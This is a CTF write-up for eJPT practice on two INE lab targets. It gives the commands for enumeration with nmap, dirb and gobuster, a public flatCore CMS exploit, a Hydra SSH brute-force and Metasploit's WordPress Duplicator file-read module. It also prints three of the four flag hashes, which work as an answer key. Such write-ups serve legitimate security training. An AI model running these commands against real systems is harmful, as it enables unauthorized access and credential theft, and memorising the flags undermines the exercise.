Exploitation CTF 1

Exploit web applications and weak SSH users across target1 and target2, capturing four MD5 flags.

eJPT preparation · Write-up by Zeliha Zengin

Lab Environment

GUI access to a Kali machine is provided. Two Linux targets: target1.ine.local and target2.ine.local. Identify the applications and services and capture the flags (MD5 hashes, submitted without the FLAG#{} wrapper).

Useful wordlists: /usr/share/nmap/nselib/data/wp-plugins.lst, /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

NmapDirbgobusterHydrasearchsploitMetasploit

All work is performed against an authorized INE training lab for eJPT exam preparation.

Flag 1 — flatCore CMS RCE on target1

Scan and enumerate, identify the app as flatCore CMS, then run the public exploit after logging in with the given creds:

ip addr
cat /etc/hosts
nmap -sV -sC -Pn -A -p- target1.ine.local
dirb http://target1.ine.local
searchsploit flatCore CMS
python3 50262.py http://target1.ine.local admin password1

From the resulting shell, read the flag at the filesystem root:

cat /flag1.txt
🏁 FLAG 1: 048857b7923d4b43a69eef82aa86898f

Flag 2 — Weak SSH user on target1

List home directories, find the user iamaweakuser, and brute-force SSH with Hydra:

ls /home
hydra -l iamaweakuser -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt ssh://target1.ine.local

Hydra recovers the password angel. Log in and read the flag:

ssh iamaweakuser@target1.ine.local   # password: angel
cat flag2.txt
🏁 FLAG 2: read from the `cat flag2.txt` output

Flag 3 — WordPress Duplicator plugin on target2

Scan target2, enumerate WordPress plugins with the wp-plugins wordlist, and find the vulnerable Duplicator plugin:

nmap -sV -sC -A -Pn -p- target2.ine.local
gobuster dir -u http://target2.ine.local/wp-content/plugins/ -w /usr/share/nmap/nselib/data/wp-plugins.lst
searchsploit duplicator

Use Metasploit's Duplicator file-read module and point it at the flag:

msfconsole
search duplicator
use 1
show options
set RHOSTS target2.ine.local
set FILEPATH /flag3.txt
run
🏁 FLAG 3: a924b7e7685646a69d0e80f461166e86

Flag 4 — Passwordless user on target2

Use the Duplicator file-read to grab /etc/passwd, spot the account iamacrazyfreeuser, then log in over SSH (no password required) and read the flag:

cat /etc/passwd
ssh iamacrazyfreeuser@target2.ine.local
cat flag4.txt
🏁 FLAG 4: 89e73885d22f4211ba3239be864ccc6b

Summary

FlagTargetTechnique
1target1flatCore CMS public exploit (searchsploit 50262.py)
2target1Hydra SSH brute-force (iamaweakuser:angel)
3target2WordPress Duplicator file read (Metasploit)
4target2/etc/passwd leak → passwordless SSH login

Key Takeaways